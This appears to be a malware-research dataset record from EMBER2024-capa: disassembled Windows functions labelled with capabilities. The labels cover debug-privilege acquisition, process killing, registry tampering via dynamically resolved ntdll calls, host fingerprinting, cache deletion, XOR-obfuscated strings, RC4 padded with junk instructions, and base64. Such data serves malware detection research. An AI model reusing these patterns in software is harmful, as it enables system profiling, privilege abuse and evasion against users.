joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003dd00
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x10], rdx
push rsi
push rdi
push r14
sub rsp, 0x50
mov r14, rcx
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ZwOpenKey
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ZwSetValueKey
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ZwClose
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ZwDeleteKey
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ZwDeleteValueKey
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rbp, rbp
je 0x14003de19
test rsi, rsi
je 0x14003de19
test rbx, rbx
je 0x14003de19
test rdi, rdi
je 0x14003de19
xorps xmm0, xmm0
mov dword [rsp + 0x20], 0x30
lea r8, [rsp + 0x20]
mov qword [rsp + 0x28], 0
mov edx, 0xf003f
mov dword [rsp + 0x38], 0x40
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x30], r14
movdqu xmmword [rsp + 0x40], xmm0
call rbp
test eax, eax
jne 0x14003de1e
mov rcx, qword [rsp + 0x78]
call rdi
mov rcx, qword [rsp + 0x78]
test eax, eax
je 0x14003de34
call rbx
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x80]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
call rbx
xor eax, eax
jmp 0x14003de1e
Function at 0x140040fe0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x150
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x12c
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov dword [rsp + 0x20], 0x130
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140041037
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov rbx, qword [rsp + 0x160]
add rsp, 0x150
pop rdi
ret
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140041089
nop dword [rax]
lea rax, [rsp + 0x4c]
mov r8, rdi
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140041073
inc rax
test ecx, ecx
jne 0x140041060
test edx, edx
je 0x1400410a5
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140041050
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x160]
add rsp, 0x150
pop rdi
ret
mov eax, dword [rsp + 0x28]
mov rbx, qword [rsp + 0x160]
add rsp, 0x150
pop rdi
ret

Function at 0x1400410c0
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
sub rsp, 0x40
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x58]
lea edx, [rbx + 0x20]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14004113d
lea r8, [rsp + 0x34]
mov dword [rsp + 0x30], 1
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rsp + 0x58]
lea r9d, [rbx + 0x10]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x58]
test eax, eax
sete bl
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
add rsp, 0x40
pop rbx
ret
Function at 0x140041150
Capabilities:
Create process on windows

Disassembly:
push rbp
lea rbp, [rsp - 0x40]
sub rsp, 0x140
xorps xmm0, xmm0
mov dword [rbp - 0x30], 0x68
xor eax, eax
mov rdx, rcx
mov dword [rbp + 0x34], eax
xor r9d, r9d
mov qword [rbp - 0x40], rax
xor r8d, r8d
lea rax, [rbp - 0x50]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
movups xmmword [rbp - 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400412b6
call qword [sym.imp.KERNEL32.dll_GetLastError]
movabs rdx, 0x5692c94e5fffc4ba
movabs r8, 0xc4c5299381fb1509
mov qword [rsp + 0x78], rdx
movabs rcx, 0x1a25b38756fe81a5
mov qword [rbp - 0x80], rcx
movabs rcx, 0x49ac662274f13eb6
mov qword [rbp - 0x78], rcx
movabs rcx, 0x650edc65a89dcd67
mov qword [rbp - 0x70], rcx
movabs rcx, 0x3de9fd882aabe0c8
mov qword [rbp - 0x68], rcx
movabs rcx, 0x7b40c1c476a3acfe
mov qword [rsp + 0x50], rcx
movabs rcx, 0x3ac9054d06a15bc2
mov qword [rsp + 0x58], rcx
movabs rcx, 0x62b504cebd8c14
movdqa xmm0, xmmword [rsp + 0x50]
pxor xmm0, xmmword [rbp - 0x80]
mov qword [rsp + 0x60], rcx
movabs rcx, 0x37c7d4ec0f83c0ac
mov qword [rsp + 0x68], rcx
lea rcx, [rsp + 0x50]
movdqa xmm1, xmmword [rsp + 0x60]
pxor xmm1, xmmword [rbp - 0x70]
mov qword [rsp + 0x70], r8
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm0, xmmword [rsp + 0x70]
mov qword [rbp - 0x58], rdx
mov edx, eax
mov qword [rbp - 0x60], r8
pxor xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmmword [rsp + 0x70], xmm0
call fcn.140040f20
xor al, al
add rsp, 0x140
pop rbp
ret
mov al, 1
add rsp, 0x140
pop rbp
ret
Function at 0x1400412d0
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0xa0
xor edx, edx
mov r8d, ecx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140041449
movabs rax, 0x1a25b38756fe81a5
movabs rcx, 0xe2ee7b44e069620c
mov qword [rsp + 0x60], rax
movabs rax, 0x49ac662274f13eb6
mov qword [rsp + 0x68], rax
movabs rax, 0x650edc65a89dcd67
mov qword [rsp + 0x70], rax
movabs rax, 0x3de9fd882aabe0c8
mov qword [rsp + 0x78], rax
movabs rax, 0xc4c5299381fb1509
mov qword [rsp + 0x80], rax
movabs rax, 0x5692c94e5fffc4ba
mov qword [rsp + 0x88], rax
movabs rax, 0xc6542d316636026b
mov qword [rsp + 0x90], rax
movabs rax, 0x764cd2e176a3acfe
mov qword [rsp + 0x20], rax
movabs rax, 0x3bcf464d00d15ad3
mov qword [rsp + 0x28], rax
movabs rax, 0xb6fb445cde9ac02
movdqa xmm0, xmmword [rsp + 0x20]
pxor xmm0, xmmword [rsp + 0x60]
mov qword [rsp + 0x30], rax
movabs rax, 0x49c992fc0ace8cac
mov qword [rsp + 0x38], rax
movabs rax, 0xa1b148fde896676c
movdqa xmm1, xmmword [rsp + 0x30]
pxor xmm1, xmmword [rsp + 0x70]
mov qword [rsp + 0x40], rax
movabs rax, 0x25e1ac2d308db49a
mov qword [rsp + 0x48], rax
movabs rax, 0xc6542d316c182c45
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x50], rax
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm0, xmmword [rsp + 0x40]
pxor xmm0, xmmword [rsp + 0x80]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmm1, xmmword [rsp + 0x50]
mov qword [rsp + 0x98], rcx
lea rcx, [rsp + 0x20]
pxor xmm1, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x40], xmm0
call fcn.140040f20
xor al, al
add rsp, 0xa0
pop rbx
ret
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add rsp, 0xa0
pop rbx
ret
Function at 0x140041470
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov esi, edx
mov rbx, rcx
xor r14d, r14d
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], r14b
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp - 0x5c]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp - 0x60], 0x130
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140041606
call qword [sym.imp.KERNEL32.dll_GetLastError]
movabs rcx, 0x1a25b38756fe81a5
mov qword [rsp + 0x70], rcx
movabs rcx, 0x49ac662274f13eb6
mov qword [rsp + 0x78], rcx
movabs rcx, 0x650edc65a89dcd67
mov qword [rbp - 0x80], rcx
movabs rcx, 0x3de9fd882aabe0c8
mov qword [rbp - 0x78], rcx
movabs rcx, 0xc4c5299381fb1509
mov qword [rbp - 0x70], rcx
movabs rcx, 0x5692c94e5fffc4ba
mov qword [rbp - 0x68], rcx
movabs rcx, 0x7b40c1c476a3acfe
mov qword [rsp + 0x40], rcx
movabs rcx, 0x2cc40a4d1ba55bc2
mov qword [rsp + 0x48], rcx
movabs rcx, 0x156fb2369aaebd0b
mov qword [rsp + 0x50], rcx
movabs rcx, 0x54889ba85ec488bb
mov qword [rsp + 0x58], rcx
movabs rcx, 0xe1bd19b3bb9f7065
mov qword [rsp + 0x60], rcx
movabs rcx, 0x5692c94e5fffcee2
mov qword [rsp + 0x68], rcx
movdqa xmm0, xmmword [rsp + 0x40]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [rsp + 0x50]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm0, xmmword [rsp + 0x60]
pxor xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140040f20
mov qword [rbx], r14
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r14b
mov r8, rdi
nop
inc r8
cmp byte [r14 + r8], 0
jne 0x1400415f0
xor edx, edx
mov rcx, rbx
call fcn.140068340
jmp 0x140041672
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140041658
cmp dword [rbp - 0x58], esi
je 0x14004162f
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140041617
jmp 0x140041658
lea rax, [rbp - 0x34]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140041640
lea rdx, [rbp - 0x34]
lea rcx, [rsp + 0x20]
call fcn.140068340
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [rbx + 0x10], xmm1
mov rax, rbx
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140041920
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
mov eax, 0x2050
call fcn.14006ca30
sub rsp, rax
mov rbp, rdx
mov rbx, rcx
xor edi, edi
mov dword [rsp + 0x30], edi
mov qword [rcx], rdi
mov qword [rcx + 8], rdi
mov qword [rcx + 0x10], rdi
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x20], 3
lea r9, [rsp + 0x2080]
lea r8d, [rax - 0x50]
lea rdx, [rsp + 0x50]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModulesEx]
test eax, eax
je 0x140041a05
mov eax, dword [rsp + 0x2080]
test rax, 0xfffffffffffffff8
jbe 0x140041a05
lea rsi, [rsp + 0x50]
nop word [rax + rax]
mov r9d, 0x18
lea r8, [rsp + 0x38]
mov rdx, qword [rsi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
test eax, eax
je 0x1400419ec
mov rdx, qword [rbx + 8]
cmp rdx, qword [rbx + 0x10]
je 0x1400419df
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rdx], xmm0
movsd xmm1, qword [rsp + 0x48]
movsd qword [rdx + 0x10], xmm1
add qword [rbx + 8], 0x18
jmp 0x1400419ec
lea r8, [rsp + 0x38]
mov rcx, rbx
call fcn.140069700
inc edi
add rsi, 8
mov ecx, dword [rsp + 0x2080]
shr rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x1400419a0
mov rax, rbx
mov rbx, qword [rsp + 0x2078]
add rsp, 0x2050
pop rdi
pop rsi
pop rbp
ret
Function at 0x140042970
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
mov r9d, 8
movzx ecx, ax
lea r8, [rsp + 0x30]
lea edx, [r9 + 0x51]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
xor eax, eax
mov qword [rbx + 0x18], 0xf
mov qword [rbx], rax
mov r8, 0xffffffffffffffff
mov qword [rbx + 0x10], rax
mov byte [rbx], al
lea rax, [rsp + 0x30]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400429c0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.140068340
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x1400429e0
Capabilities:
Get hostname
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x2e0
mov rbx, rcx
xor edi, edi
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], dil
mov ecx, 0x202
lea rdx, [rsp + 0x140]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov edx, 0x100
lea rcx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x140042a5f
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140042a40
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.140068340
call qword [sym.imp.WS2_32.dll_WSACleanup]
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [rbx + 0x10], xmm1
mov rax, rbx
mov rbx, qword [rsp + 0x2f0]
add rsp, 0x2e0
pop rdi
ret

Function at 0x140042a90
Capabilities:
Get session user name

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0x140
mov rbx, rcx
xor edi, edi
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], dil
mov dword [rax + 0x10], 0x100
lea rdx, [rax + 0x10]
lea rcx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x140042afb
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140042ae2
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.140068340
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [rbx + 0x10], xmm1
mov rax, rbx
mov rbx, qword [rsp + 0x150]
add rsp, 0x140
pop rdi
ret

Function at 0x140042b20
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x130
mov rbx, rcx
xor eax, eax
mov dword [rsp + 0x20], eax
mov qword [rcx], rax
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 0xf
mov byte [rcx], al
mov dword [rsp + 0x20], 1
lea rdx, [rsp + 0x30]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140042b70
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.140068340
mov rax, rbx
add rsp, 0x130
pop rbx
ret
Function at 0x140042ba0
Capabilities:
Get mac address on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x10], rdx
push rsi
push rdi
push r14
sub rsp, 0x160
mov rsi, rcx
xor r14d, r14d
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], r14b
mov dword [rax + 0x10], 0x2c0
mov ecx, 0x2c0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
test rax, rax
je 0x140042d02
lea rdx, [rsp + 0x188]
mov rcx, rax
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x140042c2e
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, dword [rsp + 0x188]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
test rax, rax
je 0x140042d02
lea rdx, [rsp + 0x188]
mov rcx, rbp
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x140042cf9
mov rdi, rbp
test rbp, rbp
je 0x140042d02
lea rcx, [rdi + 0x1c0]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov ebx, eax
lea rcx, [rdi + 0x1f0]
call qword [sym.imp.WS2_32.dll_inet_addr]
test ebx, ebx
jne 0x140042c81
test eax, eax
jne 0x140042c81
mov rdi, qword [rdi]
test rdi, rdi
jne 0x140042c53
jmp 0x140042cf9
movzx eax, byte [rdi + 0x19d]
movzx ecx, byte [rdi + 0x19c]
movzx edx, byte [rdi + 0x19b]
movzx r10d, byte [rdi + 0x19a]
movzx r9d, byte [rdi + 0x199]
movzx r8d, byte [rdi + 0x198]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], r10d
lea rdx, str._.2X__.2X__.2X__.2X__.2X__.2X
lea rcx, [rsp + 0x60]
call fcn.14003bb70
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140042ce0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.140068340
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rsi + 0x10], xmm1
mov rax, rsi
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x1400435b0
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x160
mov rbx, rcx
xor edi, edi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], dil
mov dword [rsp + 0x38], edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x178]
xor r8d, r8d
xor edx, edx
lea rcx, [0x14018ebe8]
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x140043649
mov r8d, dword [rsp + 0x178]
lea rdx, [0x140073040]
lea rcx, [rsp + 0x60]
call fcn.14003bb70
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140043630
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.140068340
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbx + 0x10], xmm1
mov rax, rbx
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rdi
ret
Function at 0x140044d10
Capabilities:
Delete internet cache
Enumerate internet cache

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x60
mov rbx, rcx
xor edi, edi
mov dword [rax + 0x10], edi
lea r8, [rax + 0x10]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WININET.dll_FindFirstUrlCacheEntryA]
mov ecx, dword [rsp + 0x88]
call fcn.14006beb4
mov rsi, rax
lea r8, [rsp + 0x88]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.WININET.dll_FindFirstUrlCacheEntryA]
mov rbp, rax
test rax, rax
jne 0x140044d70
lea rcx, str.____failed_to_find_cache_entry..._n
call fcn.140040f20
jmp 0x140044e58
lea rax, [rsp + 0x20]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], 0xf
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140044da0
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.140068340
nop
mov rdx, qword [rsi + 8]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], 0xf
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140044dd6
lea rcx, [rsp + 0x40]
call fcn.140068340
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.14003d110
test al, al
je 0x140044e08
mov rcx, qword [rsi + 8]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov dword [rsp + 0x88], edi
lea r8, [rsp + 0x88]
xor edx, edx
mov rcx, rbp
call qword [sym.imp.WININET.dll_FindNextUrlCacheEntryA]
mov rcx, rsi
call fcn.14006be08
mov ecx, dword [rsp + 0x88]
call fcn.14006beb4
mov rsi, rax
lea r8, [rsp + 0x88]
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.WININET.dll_FindNextUrlCacheEntryA]
test eax, eax
jne 0x140044d70
lea edi, [rax + 1]
test rsi, rsi
je 0x140044e65
mov rcx, rsi
call fcn.14006be08
mov eax, edi
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
Function at 0x140215de0
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x140215e0d
xor al, al
jmp 0x140215f6f
mov rax, qword [0x140236700]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x140236708]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x140236710]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x140236718]
mov qword [rcx + 0x18], rax
mov rax, qword [0x140236720]
mov qword [rcx + 0x20], rax
mov rax, qword [0x140236728]
mov qword [rcx + 0x28], rax
mov rax, qword [0x140236730]
mov qword [rcx + 0x30], rax
mov rax, qword [0x140236738]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x140236740]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x140215f61
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x140215eb9
mov r11d, 2
jmp 0x140215edd
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x140215ed3
mov r11d, 1
jmp 0x140215edd
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x140215f85
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x140215f22
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x140215f3a
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x140215f4a
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x140215f58
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x140215ea0
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x140215f6a
Function at 0x14078dd0f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
shr bl, 0x5c
not rbx
mov qword [rsp + 0x10], rsi
shr esi, cl
push rdi
test r14, r9
movsxd rdi, eax
sub rsp, 0x20
rcl rdi, cl
dec bx
movsxd rbx, edi
mov rsi, r8
mov rdi, rdx
bswap bx
xor bl, 0xf3
and bx, bx
mov rbx, rcx
cmp al, 0x57
xor dl, r8b
nop
cmp dword [rbx + 0x44], 0
movsxd rdx, ecx
mov rdx, rdi
jmp 0x14078dd5c
jne 0x14078dda5
mov r8d, dword [rbx + 0xc]
adc al, 0x81
btr rcx, rax
lahf
mov rcx, qword [rbx + 0x30]
ror al, cl
mov rax, rdi
test r15w, r12w
sub r8d, dword [rbx + 0x40]
sub rax, rcx
stc
jmp 0x14078dd87
cmp rax, r8
jmp 0x14078dd8f
jbe 0x14078dda5
lea rdx, [r8 + rcx]
jmp 0x14078dda5
mov r8, rsi
movzx cx, r14b
movzx ecx, r10w
movsx rcx, r15w
mov rcx, rbx
jmp 0x14078ddbd
call fcn.14078bec3
test eax, eax
jmp 0x14078ddc9
jne 0x14078de5a
mov eax, dword [rbx + 0xc]
test bpl, 0xd7
clc
cmp dword [rbx + 0x40], eax
jb 0x14078ddef
mov dword [rbx + 0x44], eax
movsx edx, sp
movzx rcx, sp
movsx dx, r13b
mov rdx, rdi
bswap cx
mov cl, r8b
movzx cx, dil
mov rcx, rbx
jmp 0x14078de05
call fcn.14078dbb2
cmp qword [rbx + 0x30], rdi
jmp 0x14078de13
jae 0x14078de3a
cmp qword [rbx + 0x20], rsi
jmp 0x14078de22
jae 0x14078de3a
cmp dword [rbx + 0x5c], 0x112
jmp 0x14078de34
jb 0x14078dd4d
cmp dword [rbx + 0x5c], 0x112
jmp 0x14078de46
jbe 0x14078de58
mov dword [rbx + 0x5c], 0x112
test sp, 0x4263
sub eax, eax
mov rbx, qword [rsp + 0x30]
shrd di, dx, 0x10
shr esi, cl
mov rsi, qword [rsp + 0x38]
movzx di, bpl
sbb rdi, rdx
add rsp, 0x20
movzx rdi, r8w
movsx rdi, bx
pop rdi
jmp 0x14078de85
ret